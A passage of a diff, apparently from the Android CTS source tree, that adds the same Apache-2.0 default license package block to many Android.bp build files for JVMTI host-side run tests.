+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest907DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.bp b/hostsidetests/jvmti/run-tests/test-908/Android.bp
index 3837c79..aef930a 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest908HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
index b49570d..f6de03b 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest908DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.bp b/hostsidetests/jvmti/run-tests/test-910/Android.bp
index 8b717ec..cc46813 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest910HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
index 9ef6822..9303e1e 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest910DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.bp b/hostsidetests/jvmti/run-tests/test-911/Android.bp
index a9e859e..156aa0d 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest911HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
index 74ef5a4..753ae62 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest911DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.bp b/hostsidetests/jvmti/run-tests/test-912/Android.bp
index 765d95d..8ff1bec 100644
--- a/hostsidetests/jvmti/run-tests/test-912/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest912HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
index 9c8d015..bb0ebe9 100644
--- a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest912DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.bp b/hostsidetests/jvmti/run-tests/test-913/Android.bp
index 28d9d95a..3ef2747 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest913HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
index 3871fa6..4b3061a 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest913DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.bp b/hostsidetests/jvmti/run-tests/test-914/Android.bp
index 2f80ca7..ac7be56 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest914HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
index 4357172..7a97aff 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest914DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.bp b/hostsidetests/jvmti/run-tests/test-915/Android.bp
index a316154..7e778d8 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest915HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
index ba6d2c6..89cc159 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest915DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.bp b/hostsidetests/jvmti/run-tests/test-917/Android.bp
index c26d916..cef34ce 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest917HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
index 353c142..6032efb 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest917DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.bp b/hostsidetests/jvmti/run-tests/test-918/Android.bp
index 193fe2b..d6a2f08 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest918HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
index 6d7951a..aac8dd2 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest918DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.bp b/hostsidetests/jvmti/run-tests/test-919/Android.bp
index 2c3d12d..f3c5c53 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest919HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
index 9839bd9..277f865 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest919DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.bp b/hostsidetests/jvmti/run-tests/test-920/Android.bp
index 25bee668..b2fb207 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest920HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
index 2e3b0a0..d12530c 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest920DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.bp b/hostsidetests/jvmti/run-tests/test-922/Android.bp
index 4629fbc..d43497e 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest922HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
index 37bb079..1c553fe 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest922DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.bp b/hostsidetests/jvmti/run-tests/test-923/Android.bp
index 24ca2dc..e9e9165 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest923HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
index 9f1659e..dc355f8 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest923DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.bp b/hostsidetests/jvmti/run-tests/test-924/Android.bp
index 118f711..383a611 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest924HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
index 3700ade..23a1aaf 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest924DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.bp b/hostsidetests/jvmti/run-tests/test-926/Android.bp
index c56a334..c60de12 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest926HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
index afb334a..e06670e1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest926DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.bp b/hostsidetests/jvmti/run-tests/test-927/Android.bp
index 572b893..812e67a 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest927HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
index 47d4f11..a30935a 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest927DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.bp b/hostsidetests/jvmti/run-tests/test-928/Android.bp
index 80ec3c7..0745805 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest928HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
index 120fe11..a061521 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest928DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.bp b/hostsidetests/jvmti/run-tests/test-930/Android.bp
index bd76877..baf38d3 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest930HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
index 09302fb..4869f41 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest930DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.bp b/hostsidetests/jvmti/run-tests/test-931/Android.bp
index c722fb6..fd401d1 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest931HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
index f925396..5c4679c 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest931DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.bp b/hostsidetests/jvmti/run-tests/test-932/Android.bp
index 8614c27..46936c3 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest932HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
index a698d46..5fd6739 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest932DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.bp b/hostsidetests/jvmti/run-tests/test-940/Android.bp
index 5e0ccc8..72d9821 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest940HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
index f3ef9ff..7007d13 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest940DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.bp b/hostsidetests/jvmti/run-tests/test-942/Android.bp
index 3317a23..fde1311 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest942HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
index e52ee99..4b7d5b4 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest942DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.bp b/hostsidetests/jvmti/run-tests/test-944/Android.bp
index ce42f1e..5969e42 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest944HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
index 6f9fe08..3aef24a 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest944DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.bp b/hostsidetests/jvmti/run-tests/test-945/Android.bp
index f129a12..0dbe30c 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest945HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
index 614d8a3..39aafd1 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest945DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.bp b/hostsidetests/jvmti/run-tests/test-947/Android.bp
index cb76f33..e14c59b 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest947HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
index 64e3550..573ca76 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest947DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.bp b/hostsidetests/jvmti/run-tests/test-951/Android.bp
index 12d7d11..b6dae71 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest951HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
index 7384400..4ab2bd5 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest951DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.bp b/hostsidetests/jvmti/run-tests/test-982/Android.bp
index 610e95e..c62b999 100644
